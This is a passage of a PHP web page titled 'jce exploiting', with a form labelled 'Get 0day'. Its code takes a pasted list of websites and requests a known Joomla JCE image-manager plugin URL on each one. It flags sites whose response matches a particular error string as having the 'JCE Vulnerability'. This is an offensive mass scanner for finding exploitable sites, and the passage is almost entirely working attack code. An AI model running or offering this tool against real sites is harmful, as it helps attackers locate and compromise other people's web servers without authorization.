885<font color='red' fance='Tahoma' size='4'> <b><p>jce exploiting</p> </b></font></center>
886</html><br>
887
888<form method='post' ><center>
889<textarea cols='50' rows='10' name='sites' style="border: 1px dotted #FF0000; " size="32" >
890</textarea><br><br>
891<input type='submit' name='skalo' value='Get 0day' ><br>
892
893<?
894
895if($_POST['skalo']){
896$target = explode("\r\n",$_POST['sites']);
897
898
899 foreach($target as $targets){
900 $targets = @trim($targets);
901 $lolz = '/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743';
902 $dns = ($targets).($lolz);
903 $get = @file_get_contents($dns);
904 if(eregi('{"result":null,"error":"No function call specified!"}',$get)){
905 echo "<font color='blue'> $targets => There JCE Vulnerability </font><br>"; }
906 else {
907 echo "<font color='red'> $targets => Error </font><br>";
908
909}
910}
911}
912?>